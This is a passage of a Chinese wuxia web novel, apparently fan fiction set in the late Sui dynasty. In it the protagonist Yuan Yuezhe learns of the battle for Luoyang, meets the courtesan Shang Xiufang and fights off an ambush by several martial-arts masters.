“兄长的子女亦没有几人是出色的,只有一个十一岁的儿子萧戈是文才武略,样样精通,当日西梁被破时,萧戈与兄长在乱军阵中失散,其后便失去消息。兄长被罢官后,直到临死前一刻仍在担心最疼爱的儿子。不久兄长病死,他留给妾身一封书信,上面写明要妾身日后为他找寻儿子,抚养成材。”
萧琲说起过去的生离死别之事,露出伤感之色。
众人听后亦是感叹与难过。
元越泽将萧琲搂在怀里安慰半晌后,单美仙突然问道:“如今几十年都过去了,昔日的孩子也已长大了,恐怕认都认不出来了吧?”
萧琲伏在元越泽怀中,抬起头道:“兄长当日给妾身的信中所写,只凭两个记号就可认出萧戈。其一是他胸前有其母为之刺的佛家‘卍’字印记。其二是当日失散前最后一刻,兄长与萧戈所讲的最后一句话是‘你要活下去,切记自强不息,莫辜负了你的天赋’,并告诉萧戈,日后重逢暗语便是这句。”
元越泽点了点头:“那你的意思,是说那红衣法后与你这侄儿萧戈有些渊源?”
萧琲点了点头:“那日妾身本就是想与那红衣女子斗个你死我活,可她问了妾身的名字后,突然就说出那句暗语。事情已经过了几十年,妾身当场就手足无措,一个愣神的当儿,就被她给逃了。”
云玉真秀眉轻蹙道:“那这么说来,那法后是认识姐姐的,否则又怎会无缘无故的说出那一句话呢?定是扰乱姐姐的心神。”
萧琲答道:“如果妾身猜测不错,那红衣女子定知萧戈的下落。”
元越泽叹了口气道:“如今我们在那神神秘秘的法后面前本就异常被动,加上她手里又有可以要挟我们的人物,以后事情如何发展,将更让人无法预料。”
众人皆知此理,屋内一片沉默。
半晌后,萧琲开口道:“夫君的大计不可乱,如因一个侄儿而耽误太平盛世的到来,那妾身及萧氏一脉可就是愧对祖先了。再者,萧戈是生是死都很难说。”
这昔日的‘国母’果非一般女子。但说此话时,其内心的压力有多大也可想而知。
元越泽安慰道:“现在说这些还太早,走一步看一步吧,只要能为你寻得侄儿,完成家人的遗愿,就是翻遍大地又如何?”
萧琲内心感激元越泽的理解,趴在他胸前点了点头。
傅君婥无奈一笑道:“那些人根本不知道躲在哪里,就是翻遍大地恐怕也找不到。”
元越泽听后亦是无力地长叹一声。
“这些事情先不要去想了,洛阳几日后必大乱,如妾身预料不错的话,洛阳大战开始之日,就是各方合谋我们一家之期。因为他们之间的矛盾再大,也不及夫君给他们带来的威胁大。在这种情况下,利益结合是不可避免的。”
单美仙开口道。
元越泽神色凝重地点了点头:“其他人都没多大威胁,只是王世充与那法后,确实让人不放心。”
随后,众人开始你一句我一句的探讨起来。
四日后。
洛阳城东百五十里处的一个风景秀丽,清幽寂静的小山谷。
元越泽独自一人盘膝端坐在草地上。
数日来不眠不休,一动不动,一直在淬练元气,滋润经脉与内脏。
大小战役也打过不少了,元越泽经脉内实际上带着隐隐地暗伤。当日卫贞贞发觉后立刻提议元越泽到天地灵气浓重之地疗养,用来应付以后的战斗。
元越泽对目前身体的韧性很是怀疑,照理说不该如此弱才对。
在这几日内,元越泽逐渐弄清楚一些事情。
他体内的元气并不精纯.这一点他几年前就察觉到了,这可能与炼气时间长短有关系。他只在乎量,而忽略了质,所以以后必须将全部精力都放在淬炼体内已有的元气这件事上,而不是依旧不知足地疯狂吸纳天地之气。经脉的暗伤,有一部分就是因为他不知足的吞纳天地灵气所造成的。
世间万事,总离不开两个字,一曰‘道’,一曰‘度’。
这件事如发生在别人身上,那定是因为‘度’没有把握好,正所谓过犹不及。
但元越泽却非如此,他是由于精纯与不纯的两种气在经脉内运行,不但没有将他实力更进一步的强化,反倒使他进步开始缓慢,更是损伤到了经脉。
这就好似是宽敞的马路上,有一群守秩序的人与一群不守秩序的人拥挤前进一样。虽然情况比全是不守秩序的人要好上一些,却不如全是守秩序的人。
暗伤的另外一个原因,就是被那大明圣尊捣的鬼。当日他将元越泽引入幻境,逃跑后,元越泽才察觉体内的静脉上被附上了一层邪异气息,元越泽可以驱除个精光,但保守估计都要闭关半年以上。由此可猜测到那圣尊是多么的阴险,本事是多么的强! “我在这里多久了?洛阳不会是已经失陷了吧!”
脑海中突然闪过这个念头,元越泽睁开双目,身体几乎恢复了九成,没有痊愈只是因为不纯元气与大明圣尊的鬼把戏在作怪了。
随即哑然失笑,元越泽暗忖如果洛阳真的出事,自己那些娇妻无论多忙,也定会前来知会自己一声的。
“吁……”
元越泽虚眯双目,凝望遥远辽阔的长空半晌,长呼一口气,收拾情怀,直奔洛阳城而去。
04-20
第046章 力敌四方
逐渐接近洛阳,元越泽已明显可以感觉到城市上空所笼罩的凝重与肃杀气氛,血腥之气更是似有似无地传来。
元越泽心头大讶,盖因他在山中不知到底度过了几日,恐怕洛阳战争已经打响了!
来不及再多想什么,元越泽聚起真气,如风一般跃过高达数丈的城门。第一时间奔往自己家方向。
进得城中,气氛更为压抑,大街上行人稀少,似是战争袭来,人人自危,家家足不出户。但大街上的巡逻官兵却是不少,似是在搜索着什么。
元越泽身影如鬼魅一般腾挪跳跃,不多时已到了自己那所小宅院门口。
脚步不停,元越泽剑眉微蹙,眼角扫想几十丈外的废弃房屋。
几道隐藏着极其瞥脚的真气隐约透出,元越泽心知定是来侦察自己家人行踪的。但为何他们还活着?傅君婥怎么没吓跑他们?
思索间,元越泽步入大门口。
主宅客厅方向突然传来一阵清越如溪泉,柔缓如春雨的琴音,断断续续,颤颤巍巍,竟是令人如渴极了的人,骤然见着一汪清泉,愈发想继续听下去。
元越泽顿住身形,倾耳聆听。
琴音好似在轻轻如钩弄心弦一般,细细微微,切切如小儿女呢喃私语,清清如激流冲碎于白石之上,带着一丝神秘的气息,使人不期然地沉醉其中。
恍惚间,高山流水,白云出岫。一副繁华盛世,歌舞升平之象伴随着悠扬细腻的琴音出现在元越泽眼前。
蓦地,琴音突转,强烈的铿锵金石之声蕴含其中,似是金戈角鸣,梦里吹角连营的肃杀,群山策马,隐约间有着狰狞之意,恰如一波涟涟静水,陡然间翻起万丈巨浪,更是有着轰鸣之声,天地间一片乌云蔽月,狂澜骤起,卷起千层高的巨浪,迎面而来。
旋即琴音再度高转,凄凉中带着沙哑,如金戈奔腾,战马长嘶,渺渺狼烟随风而散,狼藉遍地,血迹斑斑,死尸满目,萧索悲凉。
琴声缓缓低了下去,每一个音符,好似抚琴人的一颗颗清泪,滴溜溜如田田荷盖上一颗颗珍珠似的露珠滚将下来。琴音如泣如诉,若怜若怨。
忽而细微如风声,忽而高昂如凤鸣的琴音不知何时已终,元越泽尚在淡淡回味。余韵中透露出抚琴着那种悲天悯人的情怀,直叫元越泽亦赞叹不已。
只三两步,元越泽便已来到厅门前,推门而入。
大厅中,只有单美仙,商秀珣,卫贞贞,独孤凤围坐在软座上,不远处,一道素黄罗衫的窈窕的身影侧坐于瑶琴前。
眼见元越泽步入,五人目光同时望向门口,除那陌生女子外,四女眼中皆带着激动与欣喜。独孤凤更是欢呼一声,直接扑了过来。
元越泽给四女一个放心的微笑,揽起独孤凤的小蛮腰,来到三女身前坐下。
“秀芳,这就是我家夫君元越泽了。”
元越泽正欲开口,单美仙却率先开口,转向那陌生女子方向道。
元越泽只听名字,再联想刚刚的高超琴艺,便猜到坐在瑶琴前的女子该就是被传为‘天下第一名妓’的尚秀芳了。
目光转向尚秀芳,元越泽细细一打量,第一眼见到她的瞬间,元越泽脑海中不期然又闪过婠婠那鬼马精灵,迷迷蒙蒙的娇俏倩影。但尚秀芳却又与婠婠不同,朦胧中透着丝丝灵动,清雅中带着点点忧伤。她年纪约二十上下,风姿特异,仪态万千,天生丽质,风华绝代。一双妙目迷蒙神秘,仿佛可以夺魄勾魂。
闻听单美仙介绍后,尚秀芳亦站起身形,剪水双瞳满是好奇地盯着元越泽。
眼见尚秀芳起身,玲珑多姿,如空山新雨般清丽的浅笑仿佛是含情脉脉,又恰似略带娇羞,的确美得惊人。单薄罗衫下隐约可见的一双修-长纤细的玉-腿,惹人遐想连翩,确实可与石青璇,婠婠平分秋色。
至于师妃暄?元越泽由于主观心理作祟,从没把她当过一个正常的美女。
尚秀芳盈盈一礼,莲足微抬,脚步轻盈的来到元越泽身前,再次微微一礼,檀口轻开,宛若黄莺出谷,清脆悦耳的声音响起:“秀芳见过……公子。”
尚秀芳适才细细打量元越泽,发觉好像眼前的男子没有传闻中那般神奇,顶多就是样子英俊,气质淡雅而已。但近身后再望向元越泽那双深邃幽深,瞳孔微蓝的双眸时,阅人无数的尚秀芳眼神中不禁闪过一丝异彩。
但她刚刚却不知该如何称呼元越泽,因为若由单琬晶那里论,他们平辈。但若由单美仙那里论,元越泽自然就是她的长辈。可元越泽不过二十岁上下的模样,尚秀芳只有选择一个折中的办法,以‘公子’相称。
元越泽心中暗赞刚刚尚秀芳所弹的琴曲,很难想像眼前这个柔弱无力,爱好和平的女子会弹奏出那样带有铁血沙场气势的乐曲。
“原来是尚姑娘,刚刚一曲的确不错,请坐吧。”
元越泽起身拱手道。
尚秀芳浅浅一笑后入坐,不太敢望向元越泽。因为元越泽左手正在独孤凤的腰上摸来摸去,看得见过无数大场合,纵横风月场从不脸红的尚秀芳都有些羞涩,暗忖这元公子的确是万事随性,除了一般表示尊重的礼节外,所有礼法似都不被其放在眼中,否则又怎会当着人家的面如此放肆!
元越泽哪有心思去想尚秀芳在想什么,开口问道:“我离开几日了?这几日都发生了什么事情?”
独孤凤腻在元越泽怀里娇声道:“今日离大哥暗中出城提高修为,已经过了四天。这几日有几件大事,凤儿只说第一件,大哥离开当天下午,王世充发动兵力袭击皇宫,嬷嬷与爹爹战不过他,从皇宫秘道出逃了。”
尚秀芳在一旁只知聆听,见独孤凤说起自己家族的事,竟然丝毫不担心亲人们的安危。这究竟是女生外向,还是全身心沉浸在情爱中的女儿家自然反应呢?旋即尚秀芳又想道:世间哪有永恒的情爱,只有艺术才是永恒的。
只是眼前这公子初见之下还觉一般,但越看越神秘。自己向来自负姿色,可如今这屋内,只有独孤凤姿色不如自己,其他三女皆在自己之上,还有一个美得根本无法形容的商秀珣!这公子到底有哪些魅力,可以让这些个个如天仙的女子整个芳心都系在他身上?美仙阿姨变化也太大了,看起来比自己都要小,问她却总是神秘一笑,难道如是这公子的功劳?
尚秀芳在一旁胡思乱想,元越泽点头道:“第二件事该是关于城外战争开始一事吧?”
商秀珣点头道:“昨晚秀芳姐在辟……荣凤祥府献艺后,美仙姐便接她来我们家里小住。路上恰好遇到一场血战,李密派来高手偷袭王世充,王世充被击伤。”
元越泽惊讶道:“王世充会被李密算计?那我可真是高看他了!”
旋即见到身边的尚秀芳脸色有些不自然,眼神中略带惊恐之色,元越泽好奇道:“尚姑娘可是身子不舒服?”
尚秀芳摇了摇头:“公子不必客气,秀芳无事,如公子不嫌弃,唤妾身一句‘秀芳’即可,唤‘姑娘’未免生分了。”
元越泽点了点头,单美仙插口道:“秀芳厌恶战争,从未见过血腥场面,昨晚是第一次见,几百人生死搏斗,自然杀气与血腥不小,秀芳该是后怕。”
元越泽恍然大悟,终于明白为何尚秀芳可以弹出刚刚那种糅合沙场血光场景的琴曲了,应该就是昨晚所见场景的影响。只看几百人搏杀就可以弹奏出那般犹如千军万马相冲的曲子,可见她的悟性有多高!
商秀珣复又开口道:“昨晚时,瓦岗,独孤阀的十万联军就已经兵临洛阳城南十里,今日拂晓时分,联军就开始攻城。王世充以自己的大儿子王玄应为统帅,王玄应力排众议,不以高墙坚壁为守,下令两万军队由南城墙三个城门出击。”
元越泽想到那个丑鬼王玄应,典型的纨绔子弟,贪生怕死,自高自大,刚愎自用,随即笑道:“出城应战倒也算个好法子,第一战可保不输气势。没想到王玄应那软蛋居然也有坚强的时候。”
商秀珣白了元越泽一眼,继续道:“洛阳城南平原这一战,直由清晨激战至中午,再由中午火拼至下午。死伤遍地,尸骨成山。不过王玄应显然不是李密的对手,李密午后只出一万兵马,佯装不敌,引诱王玄应上当,王玄应果然主动追击,却遭到李密埋伏军队的攻击,大败而逃。”
元越泽沉声道:“那为何我刚刚摸进城来时,城门似是并未被破?”
商秀珣笑道:“夫君请继续听人家说,就在李密追击王玄应一万多兵马至南门一里多处时,王世充亲自率领的八千精兵由西侧杀出,要一举歼灭李密一众首脑人物。”
元越泽不禁拍案叫绝,大嘴直接点了独孤凤樱唇一口后笑道:“这王世充果然不是简单人物!我还纳闷他怎么就会被李密给刺杀受伤呢!原来一切都是他的计谋!”
独孤凤羞得‘嘤咛’一声不敢抬起头来,其他几女早习惯了,根本没半丝不自然。倒是尚秀芳在一侧霞飞玉颊。
商秀珣娇笑道:“事情还没完呢!王世充与李密,独孤……阀主,尤老夫人正面火拼,王世充以一敌三,功力强到可怕,完全不落下风,而王世充手下有两个极邪气的人,夫君该记得吧?”
元越泽想起当日杨广归天时跟随在王世充身边的两个怪人,便点了点头:“难道那两人也上了战场,围杀李密?”
卫贞贞接口道:“王世充似是极有把握将李密的全部首脑干掉,所以连一直隐藏着的那二人都派出场。但是他算来算去,仍旧是败了。”
见元越泽着急的表情,卫贞贞又笑道:“李密竟然秘密调来了镇守梁都的宇文伤,宇文伤一直都打扮成普通士兵的样子,在最关键时刻,全力偷袭王世充,结果王世充诈伤就变成真伤了。两个手下亦被宇文伤与李密联合杀掉一个,另外一个拼死护他突围回到洛阳。”
元越泽眉头紧皱:“你们为何知道得这么详细?好像你们当时就在场似的!”
单美仙笑道:“那是贞贞去探望受了轻伤的杨公后,听杨公亲自讲解的。”
元越泽依旧不放心道:“既然王世充能第一次诈伤,谁又能保证他不会再次诈伤?杨公卿的话能保证准确吗?”
卫贞贞横了元越泽千娇百媚的一眼,嗔道:“疑神疑鬼!杨公今日与妾身说,夫君回来后,请亲自过去一趟,有些话他要亲自对夫君说。但去的时候一定不要让任何人发现。”
元越泽点了点头,眼角瞥了不知垂头在思索什么的尚秀芳一眼后问:“那为何今日只有你们几个在这里?”
单美仙开口答道:“君婥昨日恰好是该回高丽打听消息的日子,所以离开了。而玉真正在后院休息,红拂妹子则在打坐。”
元越泽明白到为何门外那些暗探们还在了,因为傅君婥并不在家,他们拣了条小命,随后问道:“琲儿去了哪里?”
卫贞贞开口道:“由于洛阳大战已经开始,周围几大势力蠢蠢欲动,窦建德正欲挥军南下,萧铣亦要北上,这二人似是达成了秘密协议,如此洛阳便真的危矣。萧铣怎么说都是琲姐的晚辈,琲姐决定独自去会他一会,即便不能说服他,也可以拖缓他的计划。因为此时并不是岭南出兵的最好时机,所以能不动还是不动为好。”
元越泽点头道:“琲儿的本事我也放心,江都难道就没有动静?李子通既然被寇仲那两个小子干掉了,辅公祏掌握江都,总该有点动作吧?”
单美仙摇头道:“最近依旧没有消息。”
元越泽沉思半晌,抬头道:“如今并不知王世充到底是不是诈伤,而我也在怀疑以王世充的本事又怎会敌不过宇文伤及李密呢?他的邪功明显不低。”
卫贞贞笑道:“夫君把他看得太高了,你该记得宇文阀与那红衣法后的关系,宇文伤本就是高手,如有那法后指点,其功夫又怎会弱呢?”
元越泽点了点头:“这些事,我晚上与杨公卿见了再说吧。对了,如今洛阳城内还有那些势力的代表没有离开?”
独孤凤抢着开口道:“沈落雁在夫君离家那日来看过夫君,闻听夫君不在后,失望地走了,当晚就带着瓦岗军的人一起出了洛阳。而其他各方势力的人几乎都在。”
元越泽并没言语,默默地点了点头。
一直沉默着的尚秀芳眼中闪过一丝异彩:“原来公子与美仙阿姨真的不是只为享受生活而来!”
从刚刚的话语中,聪明如她又怎会听不出其中的意味。刚刚那番谈话根本不是普通人家该谈的事情。
元越泽也不欲瞒她,微笑着点了点头。
尚秀芳突然有些激动地娇躯轻颤:“公子是要还一个太平盛世予万民吗?”
见她突然激动起来,不明所以地元越泽机械地点了点头。
尚秀芳美眸中满是惊异与欣喜:“那公子为何要隐瞒着外人呢?”
元越泽无奈笑道:“我如此低调都惹得众人不安,一旦高调那还了得,不成众矢之的才怪。”
尚秀芳讶道:“以公子本事该不会怕那些人吧!直接扫平天下,坐上皇位,以公子的性子,肯定会是个好皇帝。”
元越泽笑了起来:“我并不怕那些人,但是有些更可怕的人隐藏在暗中,不停对我们下手,所以我们也只有守株待兔。至于皇位,我才无兴趣,做皇帝多累,更重要的是我没有做皇帝的能力。只要平定天下,我们一家人就会消失在世人眼前,回深山过些清幽日子了。”
尚秀芳半晌后叹道:“秀芳第一次明白了什么才是一个真正的英雄,如此为百姓着想,又不贪功劳。公子的确非凡人。”
元越泽老脸一红:“秀芳勿要笑话我,我没有那么伟大,更没觉得是为了万民,只是为了不愧对良心吧,有一些能力,就尽量使出来。”
尚秀芳待要继续夸奖元越泽,单美仙打断她,笑道:“秀芳若喜欢他,把他带房间里去好了,我们先说些正事儿。”
尚秀芳登时大窘,白了单美仙一眼,迅速垂下头去。
“夫君认为洛阳一战的结果会如何?”
单美仙复又问道。
元越泽沉声道:“如今这一切早已脱离历史,推测的话太难了。王世充不简单,李密更不简单。这背后就是大明尊教与那红衣法后的对决。”
商秀珣突然神秘一笑道:“让秀珣来为这场战争占一卦。”
众人立即点头。
商秀珣左手抓起一小把茶叶,放在手心上。
但见数十根大小长短不一的茶叶腾空飞舞,旋转不停,落在圆桌正中心处时,似是组成了某一具有意义的卦相。
众人都不懂这方面的知识,又见商秀珣正皱着眉头盯着茶叶。
半晌后,商秀珣开口道:“这是泰卦,下卦为乾,上卦为坤,九三爻变,主吉凶难定,福祸交替。”
元越泽听得一头雾水:“那你这卦与没占卜也没区别啊!”
商秀珣横嗔了元越泽一眼解释道:“九三爻是卦象的最后一阳,表示末路穷途。三爻本身就是阳位,爻变成阴,不祥中却又隐约带着生机。”
众人依旧不明,元越泽干脆不在意这一卦,继续垂头冥思起来。
独孤凤突然嚷道:“我知道了,这卦象只预示两种结果,第一就是王世充必败,但他不一定会死。第二就是两方和解,但这似乎是不可能的事情。”
众人一听,稍加思索便表示赞同。元越泽更是得意长笑一声:“还有第三种可能,那就是王世充与李密两败俱伤。”
眼见元越泽进屋后仿佛不停的变换角色,从淡雅的儒生,到无为的智者,再到自信的强人,看得尚秀芳内心惊叹不已。
单美仙几女自然明白元越泽话中意思。
望向窗外,发现时间已晚,元越泽正欲起身与杨公卿相会,却见单美仙白他一眼道:“夫君答应亲手给秀芳做顿饭,难道忘了吗?”
元越泽一愣,现在哪是说这种事情的时候。尚秀芳亦大窘道:“美仙阿姨勿说笑了,秀芳怎敢有如此架子。况且如今有要事去办,先去忙大事要紧。”
“明日我给你弄顿好吃的,今天就对不住了,实在没时间。”
元越泽亲切地拍上尚秀芳香肩后,走出房门。
第一次被个男人碰到自己身子,尚秀芳更是羞涩不已,却又觉得元越泽刚刚的动作让她起了去世的娘亲,那种家人的亲切感竟然还没被自己完全忘掉!
眼角瞟过周围几女怪异的笑容,尚秀芳不敢再抬头,直接端坐下去,心忖今天到底怎么了,自己什么样的男人没见过,怎么多少年都难得红一次脸,今日却连连受窘,连连害羞?
元越泽走出宅院大门前行三百丈左右时,突然顿住身形,高声喝道:“何方鼠辈,还不出来?”
急促的脚步声响起,元越泽周围顿时多了上百人。
这些人似乎早就隐藏在附近破旧的草屋中,如今元越泽这正主一现身,他们也要出来相对了。
缓缓打量一周,几乎都是老相识了,李世民为代表的天策府众人,曲傲为代表的铁勒人,伏骞为代表的吐谷浑人,突利为代表的东突厥人,拓拔玉为代表的毕玄门人,以及他们各自所带领的手下。王薄这老家伙居然也在。
突利身旁站了一个散发着与祝玉妍,婠婠极其相似诡异妖冶气息的年轻女子。最惹人注意的是她那一头乌黑发亮的秀发,衬得她漂亮的脸庞胜雪,美得异乎寻常。她无论打扮装束,都是淡雅可人,予人庄重矜持的印象,可是那双含情脉脉的明媚秀眸,配合着她宛若与生俱来略带羞涩的动人神态,似是天生的祸水。她的姿容虽缺少了那种使人动魄惊心的震撼,但反多了一种平易近人的亲切感觉。
元越泽似是不把所有人放在眼里,只盯着那女子问道:“请问这位姑娘高姓大名?”
突利抢先答道:“这位是襄阳钱城主的妾室,清儿夫人。”
元越泽轻笑一声,暗忖原来是她。
这女子便是阴后二弟子白清儿。
白清儿被元越泽一打量,浑身上下不自然起来,好似被他直接看到了心里,又好似身前再无一块遮羞布,尤其是元越泽刚刚那看起来略带诡异的笑容,更让她内心有些慌乱,忙把眼神扭想别处,强压心神。
元越泽深呼一口气:“众位今日又有何事?为何不到元某家中小坐?”
王薄似是恨透了元越泽,语带恼怒地喝道:“快把和氏璧交出来,饶你不死!”
元越泽莫名其妙地道:“师妃暄不是早就说明和氏璧不在我手上吗?你们还来找茬?”
曲傲亦开口道:“师仙子近日来神情不大对,你莫要以为我们都是瞎眼人,你这魔门中人在洛阳横行霸道,欺压正道,以为靠武力便可逼师仙子服输,我们可不会怕了你!”
伏骞也开口附和道:“元公子,伏骞当你是个朋友,你这几日神秘出城,定是钻研和氏璧中的力量了吧!敢做就要敢承认!”
元越泽面色一冷:“你当我是朋友?我还不当你是朋友呢!”
随即转向一直以后背对着的李世民:“世民兄可否说清楚来意,元某今日还有急事要做。”
“啊!”
李世民面色不变,正欲开口,他身侧却有一人不知为何地失声惊叫起来。
所有人的目光全部看向那身材高大的男子。
元越泽盯着那男子,觉得有些面熟,脑子里却又一时想不出个所以然来。
“李兄为何如此失态?”
李世民望着那男子,开口问道。
那男子脸色略带尴尬,镇定心神后开口道:“原来‘御剑仙子’的夫君便是元公子!”
元越泽眉头紧皱,正欲开口问他时,曲傲直接窜了过去,按住那人肩膀,狠声道:“你敢肯定吗?”
那男子似是对曲傲的动作略有不满,用力挣脱后道:“那日杜总管与任少名在丹阳大街上遇到的就是元公子与那蒙面的‘御剑仙子’,李靖当时亦在场,对于元公子的长相,做梦都不会忘记!”
元越泽突然记起,原来是李靖,几年前偷看过他一眼,看来他现在还是投在李世民手下了。但前几次都未见到他,难道是这几日才来投靠的?
曲傲与其几个弟子各个愤慨,此次前来中原的第一目的就是要为自己的儿子报仇。勾结其他势力之事倒是次要。如今一听元越泽竟然是传闻中‘御剑仙子’的夫君,曲傲哪还能忍受得住!那‘御剑仙子’被传得神乎其神,根本无人能发现她的行踪,但曲傲怎么说也是宗师级别的人物了,如今元越泽看起来比从前要弱上许多,身边这些人又都是不杀元越泽不罢休的帮手,这等机会打着灯笼都难找!
元越泽暗忖该露的事儿还是得露了,他们不想活,自己也没必要留手。但目下他更需要注意的是这伙儿到底为何要来找自己麻烦,说什么和氏璧,那完全是借口!故他要询问李世民,以李世民的作风,即便是假话,说得也会让人很难察觉到明显的漏洞。
“的确如刚才几位所说,世民今日迫不得已,只是替师小姐讨回和氏璧。”
李世民苦笑道。
娘的,你要干掉我,还装得迫不得已,真是人才!
元越泽暗骂一句,随即心念急转,愈发察觉到事情的不对劲,但眼下却不是细细思索的时刻。
“小娃娃,今晚你插翅也难逃了,交出和氏璧吧!”
突利身后走出一个魁梧身影,沉声道。
此人年过半百,相貌苍老,最奇怪的是头发,眉毛,呼吸,连眼珠都是灰色的,诡异中显露着强横的气势。后背背着三根怪异的短棍。
元越泽都懒得问他名字,仰天淡淡道:“你们一起上吗?”
狂妄嚣张!
曲傲自然要上,至于其他人,会不会顾及面子与武林名声,那就不一定了。
王薄与那灰发老者并没回答,但观他们狠厉的眼神,元越泽大概也可推想到他们的意图了。
沉寂片刻不到,曲傲纵起身形,落至元越泽身前两丈处,怒喝道:“姓元的,你倒伪装得真好,老夫在洛阳这数日,竟然从没察觉到你就是与老夫有杀子之仇的大敌!妻债夫偿,今就还我儿命来!”
元越泽转向曲傲,右手做了个‘请’的手势。
任曲傲如何狂妄,却也不敢小觑元越泽,立时收摄心神,‘凝真九变’剎那间提升至巅峰状态。
曲傲一生的修为过程,可以七,八,九这三个字来总括,分别代表了他三个阶段的成就。
一般习武者,能练至运气发劲,收发由心的地步,已可称高手。但若要超越其它人,则必须在其中寻求变化,用以克敌制胜。而变化之道,则在于体内作为经脉枢纽的窍穴的修练,其难度自不可与一般练气相提并论。到能以窍穴作控制真气输发的泉源,始是一流高手的境界。
曲傲乃武学的天才,二十三岁便练成功了七个窍穴,创出‘狂浪七转’,可是要到十年后才可多练得一个窍穴,为‘暴风八折’。其中艰苦,可想而知。到四十一岁,全身窍穴均可随意控制,再名之为‘凝真九变’,‘九’并非是指九个窍穴,而是因‘九’乃数之极,而取其无尽之意。若不是其后败在毕玄之手,恐怕其今日修为将更高绝。
曲傲一脸凝重,毫无征兆地离地斜起,向十多步外正一脸淡然,仿佛不会武功一般的元越泽扑去。
飞临元越泽头上,曲傲化繁为简,右手往他头盖抓去。这一抓看来没甚出奇之处,可是势道强凝凌厉,令人生出不敢硬碰之念。最骇人是同时包含了吸,刺,卸,封,割等五种从各指发出的真劲,变化莫测,教人难以防御。
元越泽无法确定这是不是他搏命一击,更要担心周围观战的人会否偷袭,当下迈着横移的步法,剑往上斜挑。
五声爆响连串生起,就在剑爪相触时,曲傲以快得肉眼难以看清楚的速度,五指先后以按,撞,扫,刺,劈等精奥绝伦的手法,击中长剑。
元越泽被震得后错半步,曲傲却借方往上腾升两丈,在空中像飞鹰般一个盘旋,组织第二轮的攻势。
那边的长叔谋等人见元越泽锐气受挫,落在下风,立时爆出一阵喝采声。
曲傲忽然加速,以雄鹰搏兔的劲势,在三丈的高空滑翔而下。双手化成万千爪影,劲气狂窜中,笼罩着以元越泽为中心的三丈方圆地面,便旁观者无不知道这是迫令对手只有硬拚而没法闪躲,威猛无比的凌厉招数。曲傲活像一头灵动莫测的飞鹰,凌空作出各种姿态,或盘旋扑击,或侧飞斜上,似是完全没有重量般。
同一时间,王薄大喝一声,脚踏奇步,倏忽间直击元越泽右侧,右手猛缩,同时袖内飞出一截白色的影子,以波浪似的怪异路线,点向元越泽右肋,迅若灵蛇,且像可随时改变方向,含蕴着诡毒奇幻,莫可抗御的霸道威势,劲气侵迫,寒意大作。
那灰发老者亦取下背后兵刃,三合一连接而成一根长约九尺的三戈戟,动作快过闪电。几乎与王薄同一时间出手,戟尖抖动处,化做万点火星,招式排山倒海,让人无法分请漫天的戟影到底哪一根才是真的,内劲炽热无匹,直取元越泽左颈。
三人分上,左,右三个方向以不同力道的猛招袭向元越泽,元越泽无暇多想,步法随意如行云流水,飘逸若天外飞仙,剑势猛起,于剑寓情,细密连绵。那淡雅雍容仙子形象隐约间一闪即逝,却给众人留下极深的印象,予人似若隐身在浓郁芳香的兰丛,徘徊在深山幽谷的超然感觉,怪异得叫人不可思议。
三道白光连闪,竟交织而成的柔韧剑网好似无强不挡,轻盈荡开三方攻势。
“这是什么剑法?以命相搏的场合下,这剑招中不带半丝杀意,反倒透露着丝丝柔情蜜意?”
“我刚刚好像看到他变成了一个女人,怎么回事?”
“我也有这样的错觉,但明明一直都是他一个人在用剑……”
围观中不乏武道高手,对元越泽这一招大感新奇,连连惊叹。
清脆的兵器交击之声连续响起十来下。上,左,右合击三人招式一老,元越泽轻柔剑劲顿发,笨拙地刺出似慢实快的三剑。看似是软绵绵的剑势,实则只有局中人才明白其中包含的雷霆之威。曲傲首当其冲,被逼得吐血飞退,另外两人亦是勉强后退稳住身形,恢复气息准备再度发起攻势。
元越泽收招一瞬间,毫无停歇地一剑直取王薄,誓要好好重创一下这老贼。
前奔势中的元越泽心头突然一凛,莫名地恐惧感随之而来。
身后一道快如闪电的黑色身影,手中一道耀眼的白光如月华倾泻一般偷袭元越泽后背。
元越泽被迫放弃王薄,抽剑回挡背后的攻击。哪知对手狡猾无比,第一剑只是为引元越泽上当,双剑还未交击,对手的剑招已变,在如鬼魅般快捷的身法支持下,长剑颤抖着向左横削,仿佛鸣唱着微微的龙吟之声,剑锋之上更隐隐的散发着暗黑可怕的杀人剑气,直取元越泽腰部。
“喝!”
祸不单行,本是攻击头顶的曲傲此时早被徒儿们抬起跑路,但空中赫然出现了一道不知从哪里飞来的鬼魅身影,只见来者双拳对轰,一触即分,双拳上聚起震人心神的杀气,震撼苍穹的暴喝声中,双拳作出连续不断的精奥动作,直压元越泽头顶。
王薄与那灰发老者在元越泽收剑瞬间亦一同夹击,更强的招数由四方袭向元越泽。
蓦地,元越泽突然消失,取而代之出现的则是一形象虚实不定,须发皆白,仙风道骨的老者。
老者形象一闪即消,围攻几人精神受扰的一瞬间,在外人眼中也许是微不足道的,但在这样的战局中,却是一个极其巨大的失误。
众人只觉元越泽站在那里,似是在等死一般,但高明者却知元越泽实乃似动非动,似静非静。目的自然是不想让外人把握住其下一步动作。
攻向元越泽的四人却察觉元越泽长剑疾飞,沿某一神妙路线划出四个直径半丈的美妙圆弧,有形无实的气环好似是带着无尽的吸引力一般。
几乎在同一时间,四方强猛的招数被四个气环吸住,劲道皆被卸开。
“咤!”
怒喝一声,元越泽招式再变,刹那间剑身光华大盛,直指头顶上的最强偷袭者,剑势活像天外骤来的闪电般,足可破开乌云密布的黑夜,大有洞穿宇宙之势。看似简单的一剑,仿佛包含无比玄奥的天地至理,剑势似缓似快,使人难以把握其速度,剑身震颤不休如有生命,仿佛一条随时可改变攻击方向的灵蛇。
电光激闪,剑气漫空,一剑骤化四剑,分别攻向四方敌人。每一剑均是朴实古拙,偏又有若空山灵雨,轻盈飘逸。所刺方向既是已经要淡化至无形四个气环的圆心,也是四方偷袭者的最弱一点。
这攻守兼备的可怕剑法看得周围众人瞠目结舌。
猛然间,豪光暴绽,一闪即逝。
“锵!”
头上偷袭之人落地的一刹那,元越泽鬼魅身影猛的出现在那人身后五尺处,长剑同一时间回鞘。
时间仿佛过了许久,惨叫声才接连响起。给人一种说不出的怪异感。
王薄与那灰发老者飞速后退,好像连伤都没受。
后方偷袭之人本就是只用八分力,是以在力尽之时足以再抗元越泽的反击,他受伤似是很轻,毫不耽搁地两个起落间便消失不见!
而头顶上的来者,正是此次围剿元越泽的核心人物,只见他站立元越泽身后六尺处,二人以背相对,那人身形微微颤抖,脚步却一动也不动。
元越泽同样如此,气血狂涌,面色苍白,鼻孔中滴滴鲜血流下。
刚刚的对拼中,他不但要承受其他三方压力,更察觉到了头顶上袭击者的强悍。
周遭一片死寂。
